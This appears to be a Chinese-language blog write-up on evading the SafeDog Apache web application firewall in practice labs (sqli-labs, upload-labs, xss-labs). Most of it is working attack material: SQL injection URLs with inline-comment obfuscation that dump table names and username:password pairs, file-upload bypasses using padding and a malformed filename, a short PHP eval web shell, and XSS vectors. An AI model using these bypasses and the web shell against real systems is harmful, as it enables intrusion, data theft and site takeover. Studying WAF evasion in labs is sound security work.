0x01 前言

起因就是在一场面试中突然问到我有没有自己分析过一些常用WAF的绕过,就很懵。于是就打算分析一下。

0x02 WAF绕过——sql注入

使用的waf是安全狗Apache4.0版,网上免费下载。搭建好环境之后配合sqli-labs靶场进行测试。

输入payload :?id=1’ and 1=1–

那就把该payload拆分一下,分为几个敏感字符,例如

单引号,and = 注释符

经过测试都会正常报错或者回显

看来不是单个敏感字符的绕过,那么应该就是敏感词组合检测了,于是又经过两次测试:

http://192.168.111.137/sqli-labs-master/Less-1/?id=and 1=1
http://192.168.111.137/sqli-labs-master/Less-1/?id=and 1

均被WAF拦截,那么可以明确WAF过滤的规则就是 and+空格+字符的形式

那怎么绕过呢?

最快想到的方法就是url编码绕过,内联注释,但是都被waf拦截。url编码没法改了,所以在内敛注释上做改进,我们知道

/**/里可以输入任何东西,不影响数据的查询

通过这个方法看看能不能绕过waf。本来想着fuzz测试一下。奈何没字典,只能手动测试

测试发现这种形式可以绕过

http://192.168.111.137/sqli-labs-master/Less-1/?id=1’ and/*/!**/1–-

接下来使用联合注入

被拦截了,前面一部分是没有问题的,重点在于 union select 1,2,3–

依照前面的思想,通过删减法发包测试

当存在 union select 会被waf拦截,还是同样的方法,在/**/里添加字符进行绕过,有了之前绕过的经验就很容易能够绕过

http://192.168.111.137/sqli-labs-master/Less-1/?id=-1' union/*/!*!**/select 1,2,3 --+

想执行个database(),但是也被过滤了。同样的方法测试绕过

暴力破解 fuzz测试,知道用/ * !等字符就可以绕过了

发包的速度得慢一点,不然可能会封IP

这些包长度为952的都是可以绕过waf的

然后爆表名。

照搬payload肯定一样被拦截

我们一个一个关键词进行测试,然后累加

当输入语句为

http://192.168.111.137/sqli-labs-master/Less-1/?id=-1' union/*/!*!**/select 1,group_concat(table_name) from information_schema.tables,3 --+

会被waf拦截,继续缩小范围,经过测试发现waf会匹配 from+空格+字符的格式,//!!**/仍然可以绕过。

information_schema 也被过滤了,这种该怎么绕呢?

还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,例如 /!%23%0a/,但是也被拦截了,做修改,在内联注释里面插入 /*,在将注释符替换为 –

最终整合成 /!– /%0ainformation_schema.tables*/ 可以成功绕过。where关键词也用同样的方法绕过,追钟爆表语句为

http://192.168.111.137/sqli-labs-master/Less-1/?id=-1' union/*/!*!**/select 1,2,group_concat(table_name) from /*!-- /*%0ainformation_schema.tables*/ /*!-- /*%0awhere*/ table_schema='security' --+

接下来爆字段值

http://192.168.111.137/sqli-labs-master/Less-1/?id=-1' union/*/!*!**/select 1,2,group_concat(username,0x3a,password) from/*/!*!**/security.users --+

成功绕过sql注入。

0x03 WAF绕过——文件上传

使用upload-labs靶场测试WAF的绕过。

安全狗会直接封掉前两关,那么就选择第六关为例,

正常上传会被拦截,它会匹配到我们上传的php后缀名。

1.脏数据绕过

可以利用脏数据进行绕过。

安全狗的拦截是采用正则匹配危险格式来绕过的,所以我们可以向上传的数据中添加非常多的脏数据超过安全狗的匹配检测能力。需要很多很多的脏数据。

我们需要在Content-Disposition: form-data; 后面添上足够长的垃圾数据即可实现绕过

为什么要把脏数据添加到这里,猜测安全狗会检测php,那么会去匹配这一行的数据,为了保证http请求包的格式,所以可以在 form-data;后面加脏数据了,也可以在文件名上添加脏数据,不过是在文件重命名的前提下。

看似被拦截了,实际上已经上传到我们的服务器上了。

不知道是怎么回事,可能是脏数据不够,也可能是真的绕不了了。

2.单引号防匹配绕过

还有一种方法就是将文件名写成 filename=”php

成功上传。这里写的内容为123,安全狗也会对上传的内容进行检测,所以最好上传图片马。

安全狗对上传内容的检测绕过:

<?php
define("hi","$_REQUEST[pass]");
eval(hi);
?>

限当前版本。

0x04 WAF绕过——XSS

配合 xss-labs 靶场进行绕过

正常情况下会被拦截,很明显是过滤了<script>标签

选择其他可用的标签,比如用 <img,<svg,用该payload能够绕过

<svg onload=alert(1)>

仍然也可以填充大量的脏数据来突破最大匹配限制。

<body onscroll=alert(145)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><x id=x>#x

0x05 总结

Bypass 的思想是最重要的。